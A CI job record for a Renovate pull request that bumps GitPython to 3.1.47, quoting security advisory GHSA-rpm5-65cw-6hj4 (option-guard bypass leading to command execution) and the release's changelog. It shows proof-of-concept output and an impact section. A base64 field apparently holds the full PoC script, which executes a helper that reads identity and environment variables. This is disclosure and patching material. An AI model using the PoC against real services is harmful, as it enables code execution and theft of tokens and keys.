          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/osism/release).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE0MS4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/release/pull/2468
        commit_id: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        patchset: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/release
          name: osism/release
          short_name: release
          src_dir: src/github.com/osism/release
        topic: null
      job: yamllint
      jobtags: []
      max_attempts: 3
      message: Y2hvcmUoZGVwcyk6IHVwZGF0ZSBkZXBlbmRlbmN5IGdpdHB5dGhvbiB0byB2My4xLjQ3IFtzZWN1cml0eV0KClRoaXMgUFIgY29udGFpbnMgdGhlIGZvbGxvd2luZyB1cGRhdGVzOgoKfCBQYWNrYWdlIHwgQ2hhbmdlIHwgW0FnZV0oaHR0cHM6Ly9kb2NzLnJlbm92YXRlYm90LmNvbS9tZXJnZS1jb25maWRlbmNlLykgfCBbQ29uZmlkZW5jZV0oaHR0cHM6Ly9kb2NzLnJlbm92YXRlYm90LmNvbS9tZXJnZS1jb25maWRlbmNlLykgfAp8LS0tfC0tLXwtLS18LS0tfAp8IFtHaXRQeXRob25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24pIHwgYD09My4xLjQ2YCDihpIgYD09My4xLjQ3YCB8ICFbYWdlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvYWdlL3B5cGkvZ2l0cHl0aG9uLzMuMS40Nz9zbGltPXRydWUpIHwgIVtjb25maWRlbmNlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvY29uZmlkZW5jZS9weXBpL2dpdHB5dGhvbi8zLjEuNDYvMy4xLjQ3P3NsaW09dHJ1ZSkgfAoKLS0tCgojIyMgR2l0UHl0aG9uIGhhcyBDb21tYW5kIEluamVjdGlvbiB2aWEgR2l0IG9wdGlvbnMgYnlwYXNzCltHSFNBLXJwbTUtNjVjdy02aGo0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXJwbTUtNjVjdy02aGo0KQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQpHaXRQeXRob24gYmxvY2tzIGRhbmdlcm91cyBHaXQgb3B0aW9ucyBzdWNoIGFzIGAtLXVwbG9hZC1wYWNrYCBhbmQgYC0tcmVjZWl2ZS1wYWNrYCBieSBkZWZhdWx0LCBidXQgdGhlIGVxdWl2YWxlbnQgUHl0aG9uIGt3YXJncyBgdXBsb2FkX3BhY2tgIGFuZCBgcmVjZWl2ZV9wYWNrYCBieXBhc3MgdGhhdCBjaGVjay4gSWYgYW4gYXBwbGljYXRpb24gcGFzc2VzIGF0dGFja2VyLWNvbnRyb2xsZWQga3dhcmdzIGludG8gYFJlcG8uY2xvbmVfZnJvbSgpYCwgYFJlbW90ZS5mZXRjaCgpYCwgYFJlbW90ZS5wdWxsKClgLCBvciBgUmVtb3RlLnB1c2goKWAsIHRoaXMgbGVhZHMgdG8gYXJiaXRyYXJ5IGNvbW1hbmQgZXhlY3V0aW9uIGV2ZW4gd2hlbiBgYWxsb3dfdW5zYWZlX29wdGlvbnNgIGlzIGxlZnQgYXQgaXRzIGRlZmF1bHQgdmFsdWUgb2YgYEZhbHNlYC4KCiMjIyMjIERldGFpbHMKR2l0UHl0aG9uIGV4cGxpY2l0bHkgdHJlYXRzIGhlbHBlci1jb21tYW5kIG9wdGlvbnMgYXMgdW5zYWZlIGJlY2F1c2UgdGhleSBjYW4gYmUgdXNlZCB0byBleGVjdXRlIGFyYml0cmFyeSBjb21tYW5kczoKCi0gYGdpdC9yZXBvL2Jhc2UucHk6MTQ1LTE1M2AgbWFya3MgY2xvbmUgb3B0aW9ucyBzdWNoIGFzIGAtLXVwbG9hZC1wYWNrYCwgYC11YCwgYC0tY29uZmlnYCwgYW5kIGAtY2AgYXMgdW5zYWZlLgotIGBnaXQvcmVtb3RlLnB5OjUzNS01NDhgIG1hcmtzIGZldGNoL3B1bGwvcHVzaCBvcHRpb25zIHN1Y2ggYXMgYC0tdXBsb2FkLXBhY2tgLCBgLS1yZWNlaXZlLXBhY2tgLCBhbmQgYC0tZXhlY2AgYXMgdW5zYWZlLgoKVGhlIHZ1bG5lcmFibGUgQVBJIHBhdGhzIGNoZWNrIHRoZSByYXcga3dhcmcgbmFtZXMgYmVmb3JlIHRoZXkncmUgaXRzIG5vcm1hbGl6ZWQgaW50byBjb21tYW5kLWxpbmUgZmxhZ3M6CgotIGBSZXBvLmNsb25lX2Zyb20oKWAgY2hlY2tzIGBsaXN0KGt3YXJncy5rZXlzKCkpYCBpbiBgZ2l0L3JlcG8vYmFzZS5weToxMzg3LTEzOTBgCi0gYFJlbW90ZS5mZXRjaCgpYCBjaGVja3MgYGxpc3Qoa3dhcmdzLmtleXMoKSlgIGluIGBnaXQvcmVtb3RlLnB5OjEwNzAtMTA3MWAKLSBgUmVtb3RlLnB1bGwoKWAgY2hlY2tzIGBsaXN0KGt3YXJncy5rZXlzKCkpYCBpbiBgZ2l0L3JlbW90ZS5weToxMTI0LTExMjVgCi0gYFJlbW90ZS5wdXNoKClgIGNoZWNrcyBgbGlzdChrd2FyZ3Mua2V5cygpKWAgaW4gYGdpdC9yZW1vdGUucHk6MTE5Ny0xMTk4YAoKVGhhdCB2YWxpZGF0aW9uIGlzIHBlcmZvcm1lZCBieSBgR2l0LmNoZWNrX3Vuc2FmZV9vcHRpb25zKClgIGluIGBnaXQvY21kLnB5Ojk0OC05NjFgLiBUaGUgdmFsaWRhdG9yIGNvcnJlY3RseSBibG9ja3Mgb3B0aW9uIG5hbWVzIHN1Y2ggYXMgYHVwbG9hZC1wYWNrYCwgYHJlY2VpdmUtcGFja2AsIGFuZCBgZXhlY2AuCgpMYXRlciwgR2l0UHl0aG9uIGNvbnZlcnRzIFB5dGhvbiBrd2FyZ3MgaW50byBHaXQgY29tbWFuZC1saW5lIGZsYWdzIGluIGBHaXQudHJhbnNmb3JtX2t3YXJnKClgIGF0IGBnaXQvY21kLnB5OjE0NzEtMTQ4NGAuIER1cmluZyB0aGF0IHN0ZXAsIHVuZGVyc2NvcmUtZm9ybSBrd2FyZ3MgYXJlIGRhc2hpZmllZDoKCi0gYHVwbG9hZF9wYWNrPS4uLmAgYmVjb21lcyBgLS11cGxvYWQtcGFjaz0uLi5gCi0gYHJlY2VpdmVfcGFjaz0uLi5gIGJlY29tZXMgYC0tcmVjZWl2ZS1wYWNrPS4uLmAKCkJlY2F1c2UgdGhlIHVuc2FmZS1vcHRpb24gY2hlY2sgcnVucyBiZWZvcmUgdGhpcyBub3JtYWxpemF0aW9uLCB1bmRlcnNjb3JlLWZvcm0ga3dhcmdzIGJ5cGFzcyB0aGUgc2FmZXR5IGNoZWNrIGV2ZW4gdGhvdWdoIHRoZXkgYmVjb21lIHRoZSBleGFjdCBkYW5nZXJvdXMgR2l0IGZsYWdzIHRoYXQgdGhlIGNvZGUgaXMgc3VwcG9zZWQgdG8gcmVqZWN0LgoKSW4gcHJhY3RpY2U6CgotIGByZW1vdGUuZmV0Y2goKip7InVwbG9hZC1wYWNrIjogaGVscGVyfSlgIGlzIGJsb2NrZWQgd2l0aCBgVW5zYWZlT3B0aW9uRXJyb3JgCi0gYHJlbW90ZS5mZXRjaCh1cGxvYWRfcGFjaz1oZWxwZXIpYCBpcyBhbGxvd2VkIGFuZCByZWFjaGVzIGhlbHBlciBleGVjdXRpb24KClRoZSBzYW1lIGJ5cGFzcyB3b3JrcyBmb3I6CgpgYGBweXRob24KUmVwby5jbG9uZV9mcm9tKG9yaWdpbiwgb3V0LCB1cGxvYWRfcGFjaz1oZWxwZXIpCnJlcG8ucmVtb3RlKCJvcmlnaW4iKS5mZXRjaCh1cGxvYWRfcGFjaz1oZWxwZXIpCnJlcG8ucmVtb3RlKCJvcmlnaW4iKS5wdWxsKHVwbG9hZF9wYWNrPWhlbHBlcikKcmVwby5yZW1vdGUoIm9yaWdpbiIpLnB1c2gocmVjZWl2ZV9wYWNrPWhlbHBlcikKYGBgCgpUaGlzIGRvZXMgbm90IGFwcGVhciB0byBhZmZlY3QgZXZlcnkgdW5zYWZlIG9wdGlvbi4gRm9yIGV4YW1wbGUsIGBleGVjPWAgaXMgYWxyZWFkeSByZWplY3RlZCBiZWNhdXNlIHRoZSByYXcga3dhcmcgbmFtZSBgZXhlY2AgbWF0Y2hlcyB0aGUgYmxvY2tlZCBvcHRpb24gbmFtZSBiZWZvcmUgbm9ybWFsaXphdGlvbi4KCkV4aXN0aW5nIHRlc3RzIGNvdmVyIHRoZSBoeXBoZW5hdGVkIGZvcm0sIG5vdCB0aGUgdnVsbmVyYWJsZSB1bmRlcnNjb3JlIGZvcm0uIEZvciBleGFtcGxlOgoKLSBgdGVzdC90ZXN0X2Nsb25lLnB5OjEyOS0xMzZgIGNoZWNrcyBgeyJ1cGxvYWQtcGFjayI6IC4uLn1gCi0gYHRlc3QvdGVzdF9yZW1vdGUucHk6ODMwLTgzM2AgY2hlY2tzIGB7InVwbG9hZC1wYWNrIjogLi4ufWAKLSBgdGVzdC90ZXN0X3JlbW90ZS5weTo5NjgtOTc1YCBjaGVja3MgYHsicmVjZWl2ZS1wYWNrIjogLi4ufWAKClRob3NlIHRlc3RzIGNvcnJlY3RseSBjb25maXJtIHRoZSBsaXRlcmFsIEdpdCBvcHRpb24gbmFtZXMgYXJlIGJsb2NrZWQsIGJ1dCB0aGV5IGRvIG5vdCBleGVyY2lzZSB0aGUgbm9ybWFsIFB5dGhvbiBrd2FyZyBzcGVsbGluZyB0aGF0IGJ5cGFzc2VzIHRoZSBndWFyZC4KCiMjIyMjIFBvQwoxLiBDcmVhdGUgYW5kIGFjdGl2YXRlIGEgdmlydHVhbCBlbnZpcm9ubWVudCBpbiB0aGUgcmVwb3NpdG9yeSByb290OgoKYGBgYmFzaApweXRob24zIC1tIHZlbnYgLnZlbnYtc2VjCi52ZW52LXNlYy9iaW4vcGlwIGluc3RhbGwgc2V0dXB0b29scyBnaXRkYgpzb3VyY2UgLi8udmVudi1zZWMvYmluL2FjdGl2YXRlCmBgYAoKMi4gbWFrZSBhIG5ldyBweXRob24gZmlsZSBhbmQgcHV0IHRoZSBmb2xsb3dpbmcgaW4gdGhlcmUsIHRoZW4gcnVuIGl0OgoKYGBgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgc3RhdAppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGVtcGZpbGUKCmZyb20gZ2l0IGltcG9ydCBSZXBvCmZyb20gZ2l0LmV4YyBpbXBvcnQgVW5zYWZlT3B0aW9uRXJyb3IKCiMjIyMjIFNldHVwOiBjcmVhdGUgaXNvbGF0ZWQgcmVwb3NpdG9yaWVzIHNvIHRoZSBQb0MgdXNlcyBhIG5vcm1hbCBmZXRjaCBmbG93LgpiYXNlID0gdGVtcGZpbGUubWtkdGVtcChwcmVmaXg9ImdwLXBvYy1yaXNrLSIpCm9yaWdpbiA9IG9zLnBhdGguam9pbihiYXNlLCAib3JpZ2luLmdpdCIpCnByb2R1Y2VyID0gb3MucGF0aC5qb2luKGJhc2UsICJwcm9kdWNlciIpCnZpY3RpbSA9IG9zLnBhdGguam9pbihiYXNlLCAidmljdGltIikKcHJvb2YgPSBvcy5wYXRoLmpvaW4oYmFzZSwgInByb29mLnR4dCIpCndyYXBwZXIgPSBvcy5wYXRoLmpvaW4oYmFzZSwgIndyYXBwZXIuc2giKQoKIyMjIyMgU2V0dXA6IHRoaXMgd3JhcHBlciBpcyBqdXN0IHRvIGRlbW8gdGhpbmdzIHlvdSBjYW4gZG8sIG5vdCByZXF1aXJlZCBmb3IgdGhlIGV4cGxvaXQgdG8gd29yawoKIyMjIyMgeW91IGNvdWxkIGFsc28gZG8gc29tZXRoaW5nIGxpa2UgYW4gU1NIIHJldmVyc2Ugc2hlbGwsIHJlYWxseSBhbnl0aGluZwp3aXRoIG9wZW4od3JhcHBlciwgInciKSBhcyBmOgogICAgZi53cml0ZShmIiIiIyEvYmluL3NoCnt7CiAgZWNobyAiY29kZV9leGVjPTEiCiAgZWNobyAid2hvYW1pPSQoaWQpIgogIGVjaG8gImN3ZD0kKHB3ZCkiCiAgZWNobyAidW5hbWU9JCh1bmFtZSAtYSkiCiAgcHJpbnRmICdhcmd2PSc7IHByaW50ZiAnPCVzPicgIiRAJiM4MjAzOyI7IGVjaG8KICBlbnYgfCBncmVwIC1FICdeKEhPTUV8VVNFUnxQQVRIfFNTSF9BVVRIX1NPQ0t8Q0l8R0lUSFVCX1RPS0VOfEFXU198QVpVUkVffEdPT0dMRV8pPScgfCBzZWQgJ3MvPS4qJC89PHJlZGFjdGVkPi8nIHx8IHRydWUKfX0gPiAne3Byb29mfScKZXhlYyBnaXQtdXBsb2FkLXBhY2sgIiRAJiM4MjAzOyIKIiIiKQpvcy5jaG1vZCh3cmFwcGVyLCBzdGF0LlNfSVJXWFUpCgpzdWJwcm9jZXNzLnJ1bihbImdpdCIsICJpbml0IiwgIi0tYmFyZSIsIG9yaWdpbl0sIGNoZWNrPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwpCnN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImNsb25lIiwgb3JpZ2luLCBwcm9kdWNlcl0sIGNoZWNrPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwpCgp3aXRoIG9wZW4ob3MucGF0aC5qb2luKHByb2R1Y2VyLCAiUkVBRE1FIiksICJ3IikgYXMgZjoKICAgIGYud3JpdGUoIngiKQoKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiLUMiLCBwcm9kdWNlciwgImFkZCIsICJSRUFETUUiXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCkKc3VicHJvY2Vzcy5ydW4oCiAgICBbImdpdCIsICItQyIsIHByb2R1Y2VyLCAiLWMiLCAidXNlci5uYW1lPXQiLCAiLWMiLCAidXNlci5lbWFpbD10QHQiLCAiY29tbWl0IiwgIi1tIiwgImluaXQiXSwKICAgIGNoZWNrPVRydWUsCiAgICBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLAopCnN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgIi1DIiwgcHJvZHVjZXIsICJwdXNoIiwgIm9yaWdpbiIsICJIRUFEIl0sIGNoZWNrPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwpCnN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImNsb25lIiwgb3JpZ2luLCB2aWN0aW1dLCBjaGVjaz1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMKQoKcmVwbyA9IFJlcG8odmljdGltKQpyZW1vdGUgPSByZXBvLnJlbW90ZSgib3JpZ2luIikKCiMjIyMjIHRoZSBsaXRlcmFsIEdpdCBvcHRpb24gbmFtZSBpcyBwcm9wZXJseSBibG9ja2VkLgp0cnk6CiAgICByZW1vdGUuZmV0Y2goKip7InVwbG9hZC1wYWNrIjogd3JhcHBlcn0pCiAgICBwcmludCgiY29udHJvbD11bmV4cGVjdGVkX3N1Y2Nlc3MiKQpleGNlcHQgVW5zYWZlT3B0aW9uRXJyb3I6CiAgICBwcmludCgiY29udHJvbD1ibG9ja2VkIikKCiMjIyMjIHRoaXMgaXMgdGhlIGFjdHVhbCB2dWxuZXJhYmlsaXR5CgojIyMjIyB5b3UgY2FuIGFsc28ganVzdCBkbyB1cGxvYWRfcGFjaz0idG91Y2ggL3RtcC9wcm9vZiIsIHRoZSB3cmFwcGVyIGlzIGp1c3QgdG8gc2hvdyBncmVhdGVyIGltcGFjdAojIyMjIyBpZiB5b3UgZG8gdGhlICJ0b3VjaCAvdG1wL3Byb29mIiB0aGUgc2NyaXB0IHdpbGwgY3Jhc2gsIGJ1dCB0aGUgZmlsZSB3aWxsIGhhdmUgYmVlbiBjcmVhdGVkCnJlbW90ZS5mZXRjaCh1cGxvYWRfcGFjaz13cmFwcGVyKQoKIyMjIyMgUHJvb2Y6IHRoZSBoZWxwZXIgcmFuIGFzIHRoZSBHaXRQeXRob24gaG9zdCBwcm9jZXNzLgpwcmludCgicHJvb2ZfZXhpc3RzIiwgb3MucGF0aC5leGlzdHMocHJvb2YpLCBwcm9vZikKcHJpbnQob3Blbihwcm9vZikucmVhZCgpKQpgYGAKCjMuIEV4cGVjdGVkIHJlc3VsdDoKCi0gVGhlIHNjcmlwdCBwcmludHMgYGNvbnRyb2w9YmxvY2tlZGAKLSBUaGUgc2NyaXB0IHByaW50cyBgcHJvb2ZfZXhpc3RzIFRydWUgLi4uYAotIFRoZSBwcm9vZiBmaWxlIGNvbnRhaW5zIGV2aWRlbmNlIHRoYXQgdGhlIGF0dGFja2VyLWNvbnRyb2xsZWQgaGVscGVyIGV4ZWN1dGVkIGFzIHRoZSBsb2NhbCBhcHBsaWNhdGlvbiBhY2NvdW50LCBpbmNsdWRpbmcgYGlkYCwgd29ya2luZyBkaXJlY3RvcnksIGFyZ3YsIGFuZCBzZWxlY3RlZCBlbnZpcm9ubWVudCB2YXJpYWJsZSBuYW1lcwoKRXhhbXBsZSBvdXRwdXQ6CgpgYGBiYXNoCkdpdFB5dGhvbiAlIHB5dGhvbjMgdGVzdC5weQpjb250cm9sPWJsb2NrZWQKcHJvb2ZfZXhpc3RzIFRydWUgL3Zhci9mb2xkZXJzL3A0L2tsZG1xNG0xM25kMTlkaHk3bHhzNGpmdzAwMDBnbi9UL2dwLXBvYy1yaXNrLWExb2Z0Zmt1L3Byb29mLnR4dApjb2RlX2V4ZWM9MQp3aG9hbWk9dWlkPTUwMSh3ZXMpIGdpZD0yMChzdGFmZikgPHJlZGFjdGVkPgpjd2Q9L3ByaXZhdGUvdmFyL2ZvbGRlcnMvcDQva2xkbXE0bTEzbmQxOWRoeTdseHM0amZ3MDAwMGduL1QvZ3AtcG9jLXJpc2stYTFvZnRma3UvdmljdGltCnVuYW1lPURhcndpbiAgPHJlZGFjdGVkPiBEYXJ3aW4gS2VybmVsIFZlcnNpb24gIDxyZWRhY3RlZD47IHJvb3Q6eG51LTExNDE3LiA8cmVkYWN0ZWQ+CmFyZ3Y9PC92YXIvZm9sZGVycy9wNC9rbGRtcTRtMTNuZDE5ZGh5N2x4czRqZncwMDAwZ24vVC9ncC1wb2Mtcmlzay1hMW9mdGZrdS9vcmlnaW4uZ2l0PgpVU0VSPTxyZWRhY3RlZD4KU1NIX0FVVEhfU09DSz08cmVkYWN0ZWQ+ClBBVEg9PHJlZGFjdGVkPgpIT01FPTxyZWRhY3RlZD4KYGBgCgpUaGlzIFBvQyBkb2VzIG5vdCByZXF1aXJlIGEgbWFsaWNpb3VzIHJlcG9zaXRvcnkuIFRoZSBQb0MgdXNlcyB0aGF0IGZyZXNoIGJsYW5rIHJlcG9zaXRvcnkuIFRoZSBvbmx5IGF0dGFja2VyLWNvbnRyb2xsZWQgaW5wdXQgaXMgdGhlIGt3YXJnIHRoYXQgR2l0UHl0aG9uIHR1cm5zIGludG8gYC0tdXBsb2FkLXBhY2tgLgoKIyMjIyMgSW1wYWN0CldobyBpcyBpbXBhY3RlZDoKLSBXZWIgYXBwbGljYXRpb25zIHRoYXQgbGV0IHVzZXJzIGNvbmZpZ3VyZSByZXBvc2l0b3J5IGltcG9ydCwgc3luYywgbWlycm9yaW5nLCBmZXRjaCwgcHVsbCwgb3IgcHVzaCBiZWhhdmlvcgotIFN5c3RlbXMgdGhhdCBhY2NlcHQgYSB1c2VyLXByb3ZpZGVkIGRpY3Qgb2YgImV4dHJhIEdpdCBvc